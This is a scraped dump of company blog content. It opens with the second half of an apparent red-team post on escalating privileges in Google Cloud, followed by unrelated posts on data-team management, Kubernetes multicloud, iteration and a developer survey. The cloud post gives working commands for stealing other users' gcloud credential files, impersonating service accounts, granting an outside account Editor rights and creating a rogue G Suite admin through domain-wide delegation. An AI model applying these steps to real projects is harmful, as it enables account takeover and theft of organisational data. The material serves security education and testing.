\"[DATE]\",\n\"validBeforeTime\": \"[DATE]\",\n\"keyAlgorithm\": \"KEY_ALG_RSA_2048\"\n}\n```\n\nIf you do find one of these files, you can tell the `gcloud` command to re-authenticate with this service account. You can do this on the instance, or on any machine that has the tools installed.\n\n```\n$ gcloud auth activate-service-account --key-file [FILE]\n```\n\nYou can now test your new OAuth token as follows:\n\n```\n$ TOKEN=`gcloud auth print-access-token`\n$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=$TOKEN\n```\n\nYou should see `https://www.googleapis.com/auth/cloud-platform` listed in the scopes, which means you are not limited by any instance-level access scopes. You now have full power to use all of your assigned IAM permissions.\n\n#### Steal gcloud authorizations\n\nIt's quite possible that other users on the same box have been running `gcloud` commands using an account more powerful than your own. You'll need local root to do this.\n\nFirst, find what `gcloud` config directories exist in users' home folders.\n\n```\n$ sudo find / -name \"gcloud\"\n```\n\nYou can manually inspect the files inside, but these are generally the ones with the secrets:\n\n- ~/.config/gcloud/credentials.db\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/adc.json\n- ~/.config/gcloud/legacy_credentials/[ACCOUNT]/.boto\n- ~/.credentials.json\n\nNow, you have the option of looking for clear text credentials in these files or simply copying the entire `gcloud` folder to a machine you control and running `gcloud auth list` to see what accounts are now available to you.\n\n### Service account impersonation\n\nThere are three ways in which you can [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):\n\n- Authentication using RSA private keys (covered [above](#find-service-account-keys))\n- Authorization using Cloud IAM policies (covered below)\n- Deploying jobs on GCP services (more applicable to the compromise of a user account)\n\nIt's possible that the service account you are currently authenticated as has permission to impersonate other accounts with more permissions and/or a less restrictive scope. This behavior is authorized by the predefined role called `iam.serviceAccountTokenCreator`.\n\nA good example here is that you've compromised an instance running as a custom service account with this role, and the default service account still exists in the project. As the default service account has the primitive role of Project Editor, it is possibly even more powerful than the custom account.\n\nEven better, you might find a service account with the primitive role of Owner. This gives you full permissions, and is a good target to then grant your own Google account rights to log in to the project using the web console.\n\n`gcloud` has a `--impersonate-service-account` [flag](https://cloud.google.com/sdk/gcloud/reference/#--impersonate-service-account) which can be used with any command to execute in the context of that account.\n\nTo give this a shot, you can try the following:\n\n```\n# View available service accounts\n$ gcloud iam service-accounts list\n\n# Impersonate the account\n$ gcloud compute instances list \\\n    --impersonate-service-account xxx@developer.gserviceaccount.com\n```\n\n### Exploring other projects\n\nIf you're really lucky, either the service account on your compromised instance or another account you've bagged thus far has access to additional GCP projects. You can check with the following command:\n\n```\n$ gcloud projects list\n```\n\nFrom here, you can hop over to that project and start the entire process over.\n\n```\n$ gcloud config set project [PROJECT-ID]\n```\n\n### Granting access to management console\n\nAccess to the [GCP management console](https://console.cloud.google.com/) is provided to user accounts, not service accounts. To log in to the web interface, you can grant access to a Google account that you control. This can be a generic \"@gmail.com\" account, it does not have to be a member of the target organization.\n\nTo grant the primitive role of Owner to a generic \"@gmail.com\" account, though, you'll need to use the web console. `gcloud` will error out if you try to grant it a permission above Editor.\n\nYou can use the following command to grant a user the primitive role of Editor to your existing project:\n\n```\n$ gcloud projects add-iam-policy-binding [PROJECT] \\\n    --member user:[EMAIL] --role roles/editor\n```\n\nIf you succeeded here, try accessing the web interface and exploring from there.\n\nThis is the highest level you can assign using the gcloud tool. To assign a permission of Owner, you'd need to use the console itself.\n\nYou need a fairly high level of permission to do this. If you're not quite there, keep reading.\n\n### Spreading to G Suite via domain-wide delegation of authority\n\n[G Suite](https://gsuite.google.com/) is Google's collaboration and productivity platform which consists of things like Gmail, Google Calendar, Google Drive, Google Docs, etc. Many organizations use some or all of this platform as an alternative to traditional Microsoft AD/Exchange environments.\n\nService accounts in GCP can be granted the rights to programatically access user data in G Suite by impersonating legitimate users. This is known as [domain-wide delegation](https://developers.google.com/admin-sdk/reports/v1/guides/delegation). This includes actions like reading email in GMail, accessing Google Docs, and even creating new user accounts in the G Suite organization.\n\nG Suite has [its own API](https://developers.google.com/gsuite/aspects/apis), completely separate from anything else we've explored in this blog. Permissions are granted to G Suite API calls in a similar fashion to how permissions are granted to GCP APIs. However, G Suite and GCP are two different entities - being in one does not mean you automatically have access to another.\n\nIt is possible that a G Suite administrator has granted some level of G Suite API access to a GCP service account that you control. If you have access to the Web UI at this point, you can browse to IAM -> Service Accounts and see if any of the accounts have \"Enabled\" listed under the \"domain-wide delegation\" column. The column itself may not appear if no accounts are enabled. As of this writing, there is no way to do this programatically, although there is a [request for this feature](https://issuetracker.google.com/issues/116182848) in Google's bug tracker.\n\nIt is not enough for you to simply enable this for a service account inside GCP. The G Suite administrator would also have to configure this in the G Suite admin console.\n\nWhether or not you know that a service account has been given permissions inside G Suite, you can still try it out. You'll need the service account credentials exported in JSON format. You may have acquired these in an earlier step, or you may have the access required now to create a key for a service account you know to have domain-wide delegation enabled.\n\nThis topic is a bit tricky... your service account has something called a \"client_email\" which you can see in the JSON credential file you export. It probably looks something like `account-name@project-name.iam.gserviceaccount.com`. If you try to access G Suite API calls directly with that email, even with delegation enabled, you will fail. This is because the G Suite directory will not include the GCP service account's email addresses. Instead, to interact with G Suite, we need to actually impersonate valid G Suite users.\n\nWhat you really want to do is to impersonate a user with administrative access, and then use that access to do something like reset a password, disable multi-factor authentication, or just create yourself a shiny new admin account.\n\nWe've created [this Python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_misc/blob/master/gcp_delegation.py) that can do two things - list the user directory and create a new administrative account. Here is how you would use it:\n\n```\n# Validate access only\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com\n\n# List the directory\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --list\n\n# Create a new admin account\n$ ./gcp_delegation.py --keyfile ./credentials.json \\\n    --impersonate steve.admin@target-org.com \\\n    --domain target-org.com \\\n    --account pwned\n```\n\nYou can try this script across a range of email addresses to impersonate various users. Standard output will indicate whether or not the service account has access to G Suite, and will include a random password for the new admin account if one is created.\n\nIf you have success creating a new admin account, you can log on to the [Google admin console](https://admin.google.com) and have full control over everything in G Suite for every user - email, docs, calendar, etc. Go wild.",[674,2952,815],{"slug":24976,"featured":6,"template":678},"plundering-gcp-escalating-privileges-in-google-cloud-platform","content:en-us:blog:plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","Plundering Gcp Escalating Privileges In Google Cloud Platform","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform.yml","en-us/blog/plundering-gcp-escalating-privileges-in-google-cloud-platform",{"_path":24982,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":24983,"content":24988,"config":24993,"_id":24995,"_type":16,"title":24996,"_source":17,"_file":24997,"_stem":24998,"_extension":20},"/en-us/blog/lessons-learned-as-data-team-manager",{"title":24984,"description":24985,"ogTitle":24984,"ogDescription":24985,"noIndex":6,"ogImage":18477,"ogUrl":24986,"ogSiteName":1180,"ogType":1181,"canonicalUrls":24986,"schema":24987},"Lessons learned managing the GitLab Data team","Staff Data Engineer Taylor Murphy shares his lessons and takeways from one year as the Data team manager.","https://about.gitlab.com/blog/lessons-learned-as-data-team-manager","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Lessons learned managing the GitLab Data team\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Taylor Murphy\"}],\n        \"datePublished\": \"2020-02-10\",\n      }",{"title":24984,"description":24985,"authors":24989,"heroImage":18477,"date":24990,"body":24991,"category":6634,"tags":24992},[24153],"2020-02-10","\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2020-02-19.\n{: .alert .alert-info .note}\n\nFrom April 2018 to May 2019 I was the manager of the Data team for GitLab. I took this role after my manager left, when I started reporting directly to the CFO as a Data Engineer.\n\nI remember saying to him \"this doesn't seem like the right level of abstraction for you,\" and proposed I step up to become the manager. I also said I didn't want to do this for a long period of time, since I intentionally came to GitLab to move from a manager role to an individual contributor role and focus on Data Engineering.\n\nWhat follows are a few lessons I learned (and relearned!) in my one-year stint as the manager of the Data team. Eventually, I aim to become a manager again and I hope to remember these lessons and learn even more.\n\n### Plan for growth\n\nWhile I was Data team manager, GitLab grew in size by ~300%. Having only worked previously at established companies and at a very small startup, I was not prepared for this level of growth and the strain it would put on our resources.\n\nI recently surveyed colleagues of mine in the data community and discovered that, as a percentage of headcount, most Data teams are anywhere from 2-8%.\n\nThis means a 200-person company should have at least four people, and realistically around 10 people, focused on data. This includes analysts, engineers, scientists, and managers.\nIn April of 2018, we were at \u003C 1% (1/300) and would continue to be \u003C 1% throughout 2018.\n\nAs the company grew, I did not wholly understand how the business was planning to grow and how the Data team would scale to meet the data needs of the organization. This lack of strategic thinking led to a situation where I felt blindsided and overwhelmed by the number of requests for data and analytics.\n\nEven with the addition of the excellent people I was able to hire, I wasn't doing as good a job as I needed to help my team truly succeed.\n\nLesson: Understand the trajectory of the company, the workload you have and expect to have, pick a gearing ratio for headcount, stick to your hiring targets, and think about [team structure](https://blog.getdbt.com/data-team-structure-examples/).\n{: .alert .alert-gitlab-purple}\n\n### Individual contributor or manager? Pick one\n\nBy the end of 2018, the Data team was a three-person team: one data analyst, one data engineer, and me.\nThankfully, the three of us were, I'm not ashamed to say, excellent at our jobs and performed at a level beyond what you would expect three FTEs to handle.\n\nBut even we have limits and couldn't do it all.\n\nDue to the volume of work we were trying to accomplish, it was critical that I take on analyst and engineering work as well.\n\nThis created a situation where I was splitting my brain and my attention trying to do too many things at once.\n\nSome days would be all manager work, and I would make zero progress on issues assigned to me. Others would be IC work, and I would fall behind on managerial tasks. The worst days were when I would try to do both, and everything would suffer.\n\nAs time went on this split brain effect would become worse – the signs of burnout were starting to ramp up rapidly.\n\nI was able to hire more people, which put more demand on the manager side of me, yet the volume of work was increasing while I was still the primary contributor and maintainer of our codebase. By the end, I didn't feel like I was a good manager, and I felt like my technical skills were rapidly atrophying.\n\nLesson: If you're a manager, be a manager. Yes, you'll have to pick up some work, especially at a startup, but figure out your exit plan so you can pass that work to your team who will be much better at accomplishing it than you.\n{: .alert .alert-gitlab-purple}\n\n### Hire awesome people\n\nThis should go without saying, but hire excellent people and your life will be better. My first four hires for the Data team (two in 2018, two in early 2019) have blown me away with their skill, curiosity, tenacity, and intelligence.\n\nI learned from my previous job and past bosses the value in finding great people and the force multiplier they can have on the work you're trying to accomplish.\n\nLesson: Continue hiring great people! But think about how to scale it.\n{: .alert .alert-gitlab-purple}\n\n### Invest in process\n\nThis lesson I learned from [Emilie Schario](https://gitlab.com/emilie), the first Data Analyst I hired. She taught me to think about how and where we'll need processes as the company scaled, so we could remain [efficient](https://handbook.gitlab.com/handbook/values/#efficiency).\n\nWe, of course, used GitLab for managing our code, and we had built-in merge request workflows, but she took the time to think about the messy \"people stuff\" surrounding the technology.\n\nA short list of artifacts she created:\n\n- [Onboarding issue for new analysts](https://gitlab.com/gitlab-data/analytics/-/blob/master/.gitlab/issue_templates/Data%20Onboarding.md)\n- [Onboarding script to get new analysts up and running quickly](https://gitlab.com/gitlab-data/analytics/-/blob/master/admin/onboarding_script.sh)\n- [Merge request templates, so everyone is working off the same checklist](https://gitlab.com/gitlab-data/analytics/-/blob/master/.gitlab/merge_request_templates/dbt%20Model%20Changes.md)\n\nAnd many more I'm sure I'm forgetting.\n\nWhile she wasn't the manager, she had the experience and understood the parts of working at a company that can slow down team members, and she worked to automate as much of it as possible. I've heard from many people outside the company how much they appreciate our documentation in general and our onboarding process in particular.\n\nThat is a testament to thinking about scale and having the empathy to continually step into the shoes of a GitLab learner and to see things from an outsider's perspective.\n\nAs Data teams have grown and evolved they've also [become more technical](https://blog.getdbt.com/what-is-an-analytics-engineer/). These mean it's important to invest in the technical process as well – this means you should have [version control](/topics/version-control/), change control (merge requests), automated testing, and [documentation on everything you're doing](https://dbt.gitlabdata.com/).\n\nCertain tools make implementing technical processes better and easier, which I'll highlight in the next section.\n\nLesson: (1) Think about process deeply and document everything. (2) Maintain the mind of a learner and continually think about what day one with GitLab is like for new people. (3) Invest in process, documentation, and testing - they are gifts you give your future self.\n{: .alert .alert-gitlab-purple}\n\n### Pick excellent tools\n\nAlong with process, picking the right tools can be a force multiplier for team productivity. When the Data team started, we were using PostgreSQL as our data warehouse. Postgres is not column-oriented, and at a certain point it doesn't make sense to use it as an analytics database.\n\nWe went with Postgres anyway because we believe in using a [boring solution](https://handbook.gitlab.com/handbook/values/#boring-solutions) and it aligns with our value of [iteration](https://handbook.gitlab.com/handbook/values/#iteration). For the volume of data we were throwing at it, Postgres did admirably. We used the CloudSQL-hosted version which enabled us to do cool, programmatic things with GitLab CI (I'll save that for another post).\n\nOnce we outgrew Postgres we decided to move to Snowflake.\n\nOf course, being GitLab, we use GitLab the product for anything and everything, which saved us much of the stress around picking tools. It has all the things you want from a coding perspective, and it has enough of the things you need to be productive as a manager. No need for Trello, Jira, and a dozen other tools.\n\nBy far though, the best tool for the Data team's productivity is [dbt (data build tool)](https://www.getdbt.com/). I could talk forever about how great dbt is, but suffice to say that we would not be where we are today and we would not have been able to support the organization this well with such a small crew, were it not for dbt and the great community behind it.\n\nLesson: Find the best tools you can for your team. Use dbt!\n{: .alert .alert-gitlab-purple}\n\n### Handling under-performers is a challenge\n\nUp until 2019, I'd never hired somebody who didn't perform well in their job, aside from a few interns.\nI'd like to think most of this was my ability to find good people, but it was probably luck, if I'm being honest.\n\nLast year challenged me with two under-performers on the team that I now realize I could have supported better. Having those difficult conversations with people was hard when I wasn't 100% in the manager brain space. My advice is to pay attention to those first few weeks of productivity, and if you find there are gaps, either in skills or motivation, do whatever you can to call out the gaps in a friendly and productive way, and then give your people every opportunity to become better.\n\nLesson: Be a good manger, notice things early, and help your team proactively.\n{: .alert .alert-gitlab-purple}\n\n### So many meetings\n\nGitLab has a great culture around meetings.\n\nThey [always start on time](/handbook/communication/#video-calls), there [must be an agenda for every meeting](/handbook/communication/#scheduling-meetings), and [people aren't afraid to end meetings early if everything on the agenda is done](https://handbook.gitlab.com/handbook/values/#be-respectful-of-others-time).\nEven with this rigor and discipline you will find yourself on the [\"Manager's Schedule\"](http://www.paulgraham.com/makersschedule.html) and will be in a lot of meetings. But that's okay! That's part of your job.\n\nI will always argue that you should still try to reduce the time you're in meetings, but if you're in a meeting, do your best to ensure your team *isn't* also in a meeting, if at all possible. Meetings are terrible for makers (i.e., your direct reports). Shield your team from them as much as possible.\n\nLesson: Meetings are a part of the job, reduce them as much as you can, and protect your team from unnecessary meetings.\n{: .alert .alert-gitlab-purple}\n\n### You need executive buy-in and representation\n\nPart of the reason I was excited to join GitLab was because the C-Suite clearly supported having a Data team in the organization.\nThe CEO and CFO understood the value a Data team could bring, even if the specifics and execution were blurry.\nThis is important! You will be in a tough spot if your company has nobody on the executive team that understands the value that good descriptive and predictive analytics can provide.\nData literacy is a cultural attribute, and it's [near impossible to grow literacy](https://towardsdatascience.com/is-your-company-too-dumb-to-be-data-driven-696932d597c3) in an organization if the CEO isn't driving it in some way.\n\nAt a certain scale though, you need Data leadership beyond a team manager.\nYou absolutely need someone at the Director level and up that can advocate and champion Data literacy and fluency across the functional areas of the organization.\nManagers can't be expected to spend much time on this since there is so much daily work to be done.\n\nLesson: Be wary of organizations that don't have C-Suite buy-in around the data function.\nAdvocate for a Director-level and up position that can be the cheerleader for Data across the organization.\n{: .alert .alert-gitlab-purple}\n\n### Plan to spend some money\n\nExecutive level buy-in for a Data team is important because of this fact: Starting a Data team can be expensive. To be effective, you'll need to hire several people or empower your single data lead to purchase some third-party software.\n\nOut of the gate you'll need an extract and load tool like Stitch or Fivetran, you'll need a data warehouse (e.g., Snowflake, BigQuery, Redshift), you'll need compute to run transform jobs, and you'll want a BI tool.\nThere are free tools that can sustain you for a while, but plan to invest some money up front if you're in it for the long haul.\n\nLesson: Long term success will require investment. You can start cheaply, but to scale requires resources.\n{: .alert .alert-gitlab-purple}\n\n### Don't reinvent the wheel\n\nEspecially for things like extracting data from tools such as Salesforce, Zendesk, or Zuora, please, please, PLEASE don't write your own scripts to do this. Just pay a company to do it for you. You'll waste a ton of time doing something that doesn't deliver business value and will probably come back to bite you in the end.\n\nYou should spend most of your time [delivering value for the business](https://blog.getdbt.com/the-startup-founder-s-guide-to-analytics/) in the form of automated reporting and generating insights, not writing a Salesforce to Snowflake extractor for the thousandth time.\n\nLesson: Pay for Stitch or Fivetran for common data extractions.\n{: .alert .alert-gitlab-purple}\n\n### Manager is a different career\n\nDon't think about becoming a manager as an extension of your individual contributor career. It *is* a different career path and your IC-skills will certainly help you be a better manager. However, management is its own set of skills and choosing to go into this field puts you on a different career path. It's not necessarily better depending on how you define success.\n\nGo into management with open eyes and a full understanding that you are switching tracks and not \"moving ahead\". It isn't permanent, though, and can be reversed if you choose.\n\nLesson: Don't assume the move to manager is the default for an IC. Think deeply about your [career](https://www.locallyoptimistic.com/post/career-ladders-part-1/). Read [about the Engineer/Manager Pendulum](https://charity.wtf/2017/05/11/the-engineer-manager-pendulum/).\n{: .alert .alert-gitlab-purple}\n\n### It's okay to be a little selfish\n\nOne area I've struggled with for a while is making the effort to be a little selfish. I can have a people-pleaser mentality which, when applied to the business of a startup, can be useful: Startups need people that are willing to do what it takes to make the company successful (within reason!). But once the company is in a growth stage or beyond, that mentality is a recipe for burnout.\n\nAt my previous company, we were less than 30 people. Having the attitude of trying to do and learn as much as possible was a good strategy for me. I learned a ton, was given a bunch of responsibility, and helped the business grow. That strategy worked for me at GitLab for a while too. After some time passed, it was clear I couldn't keep up with everything, and my sanity would start to suffer without a fix.\n\nBeing selfish in this case meant I had to be okay with wanting to take a \"step back\" from the manager role to the IC role (Spoiler: it's not a step back! See the previous point).\n\nI had to admit to myself that I wanted to focus on programming more and that continuing down the manager track wasn't currently right for me.\n\nIt felt selfish because it was hard in the moment to see that what the business needed was somebody who *wanted* to be the manager. It didn't need me to continue in the role just because I happened to currently be in the role.\n\nWhile there were short-term ramifications for the team because of my move to an IC role, I know that I'm healthier for it, and we now have two excellent managers who are leading the team further than I could have.\n\nLesson: (1) It's a *good* thing to prioritize and be selfish about your mental health. (2) It's okay to say \"No, I can't do this anymore\". (3) Companies need people who want to be in their jobs - performance is better and people are happier.\n{: .alert .alert-gitlab-purple}\n\n### Fin\n\nMy hope is that these lessons are valuable to you, and are applicable in your own life and career. I would love to hear from you if you disagree with any of these, or if you have your own stories and lessons to share about your career in data; please reach out on [Twitter](https://twitter.com/tayloramurphy), via email (tmurphy at gitlab.com), or in an [issue in our main project](https://gitlab.com/gitlab-data/analytics/).\n\nThank you for reading and thank you to GitLab for enabling my growth as a Data professional.\n\n*Special thanks to [Emilie Schario](https://gitlab.com/emilie) for her review on multiple drafts of this post.*\n",[4144,2248,1899],{"slug":24994,"featured":6,"template":678},"lessons-learned-as-data-team-manager","content:en-us:blog:lessons-learned-as-data-team-manager.yml","Lessons Learned As Data Team Manager","en-us/blog/lessons-learned-as-data-team-manager.yml","en-us/blog/lessons-learned-as-data-team-manager",{"_path":25000,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25001,"content":25007,"config":25012,"_id":25014,"_type":16,"title":25015,"_source":17,"_file":25016,"_stem":25017,"_extension":20},"/en-us/blog/kubernetes-and-multicloud",{"title":25002,"description":25003,"ogTitle":25002,"ogDescription":25003,"noIndex":6,"ogImage":25004,"ogUrl":25005,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25005,"schema":25006},"How Kubernetes merges with multicloud & how to manage it","Google Cloud's Ian Chakeres and Tim Hockin discuss how Kubernetes reduces cloud noise and makes multicloud possible.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681075/Blog/Hero%20Images/kubernetes-multicloud-blog.jpg","https://about.gitlab.com/blog/kubernetes-and-multicloud","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Kubernetes merges with multicloud & how to manage it\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Chrissie Buchanan\"}],\n        \"datePublished\": \"2020-02-05\",\n      }",{"title":25002,"description":25003,"authors":25008,"heroImage":25004,"date":25009,"body":25010,"category":8943,"tags":25011},[18462],"2020-02-05","\n\nIn November 2019, we had the opportunity to co-host [MulticloudCon](https://multicloudcon.io/), a zero-day event with our partners at [Upbound](https://upbound.io/). The event featured experts in cloud, Kubernetes, database resources, CI/CD, security, and more to learn how multicloud is evolving and empowering developers and operations experts across the industry.\n\nIn this presentation from MulticloudCon, Google Cloud's [Ian Chakeres](http://www.ianchak.com/) and [Tim Hockin](https://twitter.com/thockin) cover the challenges of using multiple clouds, and how Kubernetes cuts through the cloud noise to provide consistency in workflows. Gartner predicts that by 2021, [over 75% of midsize and large organizations will have adopted a multicloud or hybrid IT strategy.](https://www.gartner.com/en/documents/3895580/predicts-2019-increasing-reliance-on-cloud-computing-tra)\n\nAs organizations continue to amp up their [multicloud](/topics/multicloud/) initiatives, they’ll need ways to manage the complexities and differences between multiple cloud environments. Kubernetes is perfectly built for this task because it creates the right abstractions so teams can utilize multiple clouds on a consistent platform.\n\n\n## Discussion highlights\n\n### The challenges of multiple clouds:\n\n> \"The hard thing about multiple clouds is the noise. There's so much that is different across clouds. To learn them to the _depth_ that you need to be able to develop and debug real applications on these clouds is really, really difficult. Networking capabilities across clouds, across environments, are incredibly different and varied. Storage, auto-scaling, life cycle management, all of these things that have a real, material impact on the way you develop your applications. It can be total chaos for your staff.\" – Tim Hockin, Software Engineer, Kubernetes, Anthos, and GKE\n\n\n### Why Kubernetes is built for multicloud:\n\n> \"Kubernetes is this platform that is [at a] high enough level that it hides most of those variances that we see across all the different clouds. But it's also [at a] low enough level that you can do anything that you need to, for your business and your developers. Kubernetes provides these abstractions that insulate your teams from some of the mess below, hiding that infrastructure complexity that's associated with multiple clouds.\" – Ian Chakeres, Engineering Manager, Anthos and GKE\n\n### How open source continues to improve Kubernetes and multicloud:\n\n> \"Not only can you build the platform for your teams, but there is this entire ecosystem of people who are out there, in Kubernetes, building things that can help you run your business. I went to look at the [CNCF](https://www.cncf.io/) page recently, just to look at all the different projects, and even just the graduated project list now fills your entire screen. There's this entire ecosystem that builds the infrastructure and the applications... they can fill in the gaps if there are any things that your business is running into. So Kubernetes is giving you this leverage as being a platform that actually spans all of those other clouds.\" – Ian Chakeres\n\n## Kubernetes and multicloud\n\nNetworking across environments, clouds, and clusters remains challenging. Organizations don’t want to train DevOps teams on multiple clouds, and even if they did, training teams on the intricacies and fine details for _every single cloud provider_ would be an exercise in futility. Tailoring deployments for each cloud is inefficient and time-consuming. Kubernetes provides the consistency teams need to work with multiple clouds by creating abstractions that bring all deployments into one environment. Even though there are many exciting things happening in open source around Kubernetes and multicloud, not every abstraction is leak-proof.\n\nIn a perfect multicloud, multi-cluster hybrid world, teams are working with multiple providers in a seamless environment that hides the underlying infrastructure. It’s still a little too early for multicloud and hybrid Kubernetes to make that \"perfect\" world a reality, but as multicloud technology continues to evolve, Kubernetes will continue to be at its core.\n\nTo learn more about how the team at Google is investing in Kubernetes and multicloud, watch the full presentation below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/ArQL05VZ18U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCover image by Francisco Delgado on [Unsplash](https://unsplash.com/s/photos/multi-cloud?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3949,2509],{"slug":25013,"featured":6,"template":678},"kubernetes-and-multicloud","content:en-us:blog:kubernetes-and-multicloud.yml","Kubernetes And Multicloud","en-us/blog/kubernetes-and-multicloud.yml","en-us/blog/kubernetes-and-multicloud",{"_path":25019,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25020,"content":25026,"config":25031,"_id":25033,"_type":16,"title":25034,"_source":17,"_file":25035,"_stem":25036,"_extension":20},"/en-us/blog/power-of-iteration",{"title":25021,"description":25022,"ogTitle":25021,"ogDescription":25022,"noIndex":6,"ogImage":25023,"ogUrl":25024,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25024,"schema":25025},"How iteration helps build our product and improve our work lives","One of GitLab’s core values, iteration permeates everything we do from UX design to product development. And when it comes to our work lives, iteration is a game changer.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681060/Blog/Hero%20Images/iteration.jpg","https://about.gitlab.com/blog/power-of-iteration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How iteration helps build our product and improve our work lives\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-02-04\",\n      }",{"title":25021,"description":25022,"authors":25027,"heroImage":25023,"date":25028,"body":25029,"category":6634,"tags":25030},[11618],"2020-02-04","\n\n*it-er-a-tion*\n\n_/ˌidəˈrāSH(ə)n/_\n\n_noun_\n\n_the repetition of a process or utterance._\n\n_repetition of a mathematical or computational procedure applied to the result of a previous application, typically as a means of obtaining successively closer approximations to the solution of a problem._ – Oxford Dictionary via Lexico\n\nAt GitLab iteration is simply what we do – with everything. CEO [Sid Sijbrandij](/company/team/#sytses) explains that even in the very early stages of GitLab, when the company was in the [Y Combinator](https://www.ycombinator.com) \"incubator,” he knew iteration was the right choice because even though it seems contradictory, you can go faster by breaking things down into smaller pieces. \"There were people, even at the time, who suggested that we should slow down. The response from GitLab has always been, 'No, we'll get the most we can get done. The smaller we split things up, the smaller the steps we take, the faster we can go.'\"\n\nIt’s not surprising that iteration is one of GitLab’s [six core values](https://handbook.gitlab.com/handbook/values/), and you don’t have to look too closely to see how it steers our product development. When we wanted to make our [error tracking feature](/blog/iteration-on-error-tracking/) stronger, we \"scoped” the project down and made small changes more quickly.\n\nOur user experience team took the same approach when [trying to improve usability](/blog/how-ux-research-impacts-product-decisions/), and [when we migrated](/blog/gitlab-journey-from-azure-to-gcp/) from Microsoft’s Azure to the Google Cloud Platform we used iteration to guide our process.\n\nBut perhaps where iteration shines brightest at GitLab is at the individual level where the ability to take small steps frees employees to take risks and be creative. This is something that’s obvious even if you’re a [brand new employee](/blog/agile-iteration-unique-onboarding-experience/).\n\nWe asked six team members to explain the impact of iteration on their work lives.\n\n[Heather Simpson](/company/team/#hsimpson), senior external communications analyst:\n\"Honestly, the ability to throw something out there without being judged because it’s not completely formed and polished is new and refreshing for me.  I know I’ve got teammates ready to collaborate and help me strengthen my ideas and the end result.”\n\n[Ashish Kuthiala](/company/team/#kuthiala), senior director of Product Marketing:\n\"It helps us create a culture and organization that learns very fast and creates a self-learning and always improving organization.  We cannot and do not always get things right but we learn and improve really rapidly.”\n\n[Emily Kyle](/company/team/#Emily), manager, Corporate Events and Branding:\n\"It allows me to be a bit bolder and braver in coming up with out of the box solutions and in my decision making. Small steps make change so much easier to achieve.”\n\n[Tina Sturgis](/company/team/#TinaS), manager, Partner and Channel Marketing:\n\"Iteration for me is a game changer at GitLab. Gone are the days of getting everyone's buy-in prior to rolling out messaging. Put it out there and people will iterate on it making it better. If my messaging was off, no worries – iterate on what it is NOT and keep driving to results.\"\n\n[Lorie Whitaker](/company/team/#loriewhitaker), senior UX researcher: \"To a UX researcher iteration means something different to me than other people. The value of iteration should encourage people to change directions when they find answers to their questions. Iteration should be a stop-gap measure to say ‘This is not the right solution. We will stop and reassess and rethink what is the right solution to this problem.’”\n\n[Lee Matos](/company/team/#lbot), Support engineering manager:\n\"Iteration is hard because at first it feels unnatural, but once you learn how to really iterate, it's liberating. You can keep being nimble which is huge.\"\n\nCover image by Eryk on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[2368,676,7715],{"slug":25032,"featured":6,"template":678},"power-of-iteration","content:en-us:blog:power-of-iteration.yml","Power Of Iteration","en-us/blog/power-of-iteration.yml","en-us/blog/power-of-iteration",{"_path":25038,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25039,"content":25044,"config":25048,"_id":25050,"_type":16,"title":25051,"_source":17,"_file":25052,"_stem":25053,"_extension":20},"/en-us/blog/devsecops-survey-sweepstakes",{"title":25040,"description":25041,"ogTitle":25040,"ogDescription":25041,"noIndex":6,"ogImage":17364,"ogUrl":25042,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25042,"schema":25043},"Our 2020 Global DevSecOps Survey is here – take it and enter to win","Read respondents from 21 countries share their DevOps successes, challenges, and ongoing struggles","https://about.gitlab.com/blog/devsecops-survey-sweepstakes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our 2020 Global DevSecOps Survey is here – take it and enter to win\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-02-03\",\n      }",{"title":25040,"description":25041,"authors":25045,"heroImage":17364,"date":25046,"body":25047,"category":736},[11618],"2020-02-03","\n\nIn 2019 more than 4000 software professionals [took our survey](/blog/global-developer-report/) and told us some revealing – and sometimes surprising – truths about their jobs.\n\n_Developers and security experts don’t really see eye to eye. Security pros complained it was often a struggle to get developers to find and fix bugs._\n\n_Test is a major bottleneck no matter where you sit in the organization, something nearly 50% of all respondents agreed with._\n\n_Continuous delivery and DevOps were on the rise, particularly in smaller greenfield companies more able to move quickly without legacy systems._\n\n_Nearly two-thirds of respondents said they planned to invest heavily in infrastructure in 2019. The goals? Improved continuous integration, delivery, and deployment._\n\nBut in 2020, are those things still true? That’s what we want to discover and we need your help. \n\nYou can read the results of our [2020 DevSecOps Survey now](/developer-survey/) and we’re eager to hear what you think about software development, DevOps, your role in your organization, and how your journey is progressing. At GitLab, we see signs of major changes 